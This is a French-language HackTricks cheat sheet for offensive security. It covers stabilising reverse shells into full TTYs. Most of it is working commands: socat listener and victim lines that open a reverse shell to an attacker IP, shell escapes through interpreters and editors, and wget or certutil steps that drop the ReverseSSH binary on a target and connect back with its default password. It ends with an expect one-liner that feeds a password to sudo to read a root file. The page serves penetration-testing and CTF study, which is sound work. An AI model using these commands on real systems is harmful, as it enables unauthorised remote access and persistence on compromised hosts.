6 KiB
Full TTYs
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Full TTY
Notez que le shell que vous définissez dans la variable SHELL
doit être répertorié dans /etc/shells ou La valeur de la variable SHELL n'a pas été trouvée dans le fichier /etc/shells Cet incident a été signalé
. De plus, notez que les extraits suivants ne fonctionnent que dans bash. Si vous êtes dans un zsh, changez pour un bash avant d'obtenir le shell en exécutant bash
.
Python
{% code overflow="wrap" %}
python3 -c 'import pty; pty.spawn("/bin/bash")'
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
{% endcode %}
{% hint style="info" %}
Vous pouvez obtenir le nombre de lignes et de colonnes en exécutant stty -a
{% endhint %}
script
{% code overflow="wrap" %}
script /dev/null -qc /bin/bash #/dev/null is to not store anything
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
{% endcode %}
socat
#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444
#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
Spawn shells
python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
script -qc /bin/bash /dev/null
perl -e 'exec "/bin/sh";'
- perl:
exec "/bin/sh";
- ruby:
exec "/bin/sh"
- lua:
os.execute('/bin/sh')
- IRB:
exec "/bin/sh"
- vi:
:!bash
- vi:
:set shell=/bin/bash:shell
- nmap:
!sh
ReverseSSH
Une méthode pratique pour l'accès shell interactif, ainsi que pour les transferts de fichiers et le transfert de ports, consiste à déposer le serveur ssh statiquement lié ReverseSSH sur la cible.
Ci-dessous un exemple pour x86
avec des binaires compressés avec upx. Pour d'autres binaires, consultez la page des versions.
- Préparez-vous localement pour attraper la demande de transfert de port ssh :
{% code overflow="wrap" %}
# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh
/dev/shm/reverse-ssh -v -l -p 4444
{% endcode %}
- (2a) Cible Linux :
{% code overflow="wrap" %}
# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh
/dev/shm/reverse-ssh -p 4444 kali@10.0.0.2
{% endcode %}
- (2b) Cible Windows 10 (pour les versions antérieures, consultez le readme du projet):
{% code overflow="wrap" %}
# Drop it via your preferred way, e.g.
certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe
reverse-ssh.exe -p 4444 kali@10.0.0.2
{% endcode %}
- Si la demande de transfert de port ReverseSSH a réussi, vous devriez maintenant pouvoir vous connecter avec le mot de passe par défaut
letmeinbrudipls
dans le contexte de l'utilisateur exécutantreverse-ssh(.exe)
:
# Interactive shell access
ssh -p 8888 127.0.0.1
# Bidirectional file transfer
sftp -P 8888 127.0.0.1
Pas de TTY
Si pour une raison quelconque vous ne pouvez pas obtenir un TTY complet, vous pouvez toujours interagir avec des programmes qui attendent une entrée utilisateur. Dans l'exemple suivant, le mot de passe est passé à sudo
pour lire un fichier :
expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :HackTricks Formation Expert Red Team AWS (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Formation Expert Red Team GCP (GRTE)
Soutenir HackTricks
- Consultez les plans d'abonnement!
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs aux HackTricks et HackTricks Cloud dépôts github.